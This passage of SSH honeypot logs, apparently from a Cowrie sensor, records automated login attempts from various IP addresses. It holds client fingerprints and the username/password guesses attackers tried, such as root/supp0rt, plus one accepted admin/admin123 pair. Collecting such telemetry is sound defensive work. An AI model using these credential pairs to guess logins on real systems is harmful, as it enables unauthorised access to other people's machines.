{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:35.357135Z","src_ip":"20.12.41.6","session":"980baa302b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:36.377166Z","src_ip":"20.12.41.6","session":"980baa302b91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":41264,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab3f3d12ec5","protocol":"ssh","message":"New connection: 61.222.211.114:41264 (159.203.135.109:22) [session: 8ab3f3d12ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:41.579618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:41.584413Z","src_ip":"61.222.211.114","session":"8ab3f3d12ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:41.794996Z","src_ip":"61.222.211.114","session":"8ab3f3d12ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":57238,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f8466fc0f9e","protocol":"ssh","message":"New connection: 31.59.89.180:57238 (159.203.135.109:22) [session: 5f8466fc0f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:42.032192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:42.036789Z","src_ip":"31.59.89.180","session":"5f8466fc0f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:42.146588Z","src_ip":"31.59.89.180","session":"5f8466fc0f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567root","message":"login attempt [root/1234567root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:42.616471Z","src_ip":"31.59.89.180","session":"5f8466fc0f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supp0rt","message":"login attempt [root/supp0rt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:42.669590Z","src_ip":"61.222.211.114","session":"8ab3f3d12ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:43.729890Z","src_ip":"31.59.89.180","session":"5f8466fc0f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:43.883456Z","src_ip":"61.222.211.114","session":"8ab3f3d12ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":51940,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bae6973abd9","protocol":"ssh","message":"New connection: 209.99.184.143:51940 (159.203.135.109:22) [session: 7bae6973abd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:54.638957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:54.668878Z","src_ip":"209.99.184.143","session":"7bae6973abd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:54.848357Z","src_ip":"209.99.184.143","session":"7bae6973abd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zenith","password":"zenith","message":"login attempt [zenith/zenith] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:55.210790Z","src_ip":"209.99.184.143","session":"7bae6973abd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:56.307370Z","src_ip":"209.99.184.143","session":"7bae6973abd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52202,"dst_ip":"10.17.0.5","dst_port":22,"session":"626ab95ea93f","protocol":"ssh","message":"New connection: 47.86.95.62:52202 (10.17.0.5:22) [session: 626ab95ea93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:01.359152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:01.365497Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:03.399480Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"84944c7f8b28","protocol":"ssh","message":"New connection: 43.153.27.162:60730 (10.17.0.5:22) [session: 84944c7f8b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:04.151686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:04.157210Z","src_ip":"43.153.27.162","session":"84944c7f8b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:04.226106Z","src_ip":"43.153.27.162","session":"84944c7f8b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ohyeah","message":"login attempt [root/ohyeah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:04.533414Z","src_ip":"43.153.27.162","session":"84944c7f8b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:05.604833Z","src_ip":"43.153.27.162","session":"84944c7f8b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":64662,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d1b950c995","protocol":"ssh","message":"New connection: 118.26.36.248:64662 (159.203.135.109:22) [session: 45d1b950c995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:26.774018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:26.778671Z","src_ip":"118.26.36.248","session":"45d1b950c995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:26.998965Z","src_ip":"118.26.36.248","session":"45d1b950c995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbox123","message":"login attempt [root/vbox123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:27.911587Z","src_ip":"118.26.36.248","session":"45d1b950c995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:29.135394Z","src_ip":"118.26.36.248","session":"45d1b950c995","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:44.633483Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":43034,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2e96a432e3","protocol":"ssh","message":"New connection: 31.59.89.180:43034 (159.203.135.109:22) [session: 0e2e96a432e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:53.971498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:53.977283Z","src_ip":"31.59.89.180","session":"0e2e96a432e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:54.093298Z","src_ip":"31.59.89.180","session":"0e2e96a432e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"honda","message":"login attempt [root/honda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:54.576663Z","src_ip":"31.59.89.180","session":"0e2e96a432e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:55.692512Z","src_ip":"31.59.89.180","session":"0e2e96a432e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":39768,"dst_ip":"10.17.0.5","dst_port":22,"session":"505fe5c864a6","protocol":"ssh","message":"New connection: 20.12.41.6:39768 (10.17.0.5:22) [session: 505fe5c864a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:58.098096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:58.102839Z","src_ip":"20.12.41.6","session":"505fe5c864a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:58.117701Z","src_ip":"20.12.41.6","session":"505fe5c864a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fender","message":"login attempt [root/fender] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:58.208325Z","src_ip":"20.12.41.6","session":"505fe5c864a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:18:59.225440Z","src_ip":"20.12.41.6","session":"505fe5c864a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":23559,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d30028f291","protocol":"ssh","message":"New connection: 2.57.121.25:23559 (159.203.135.109:22) [session: e5d30028f291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:01.162868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:01.167311Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":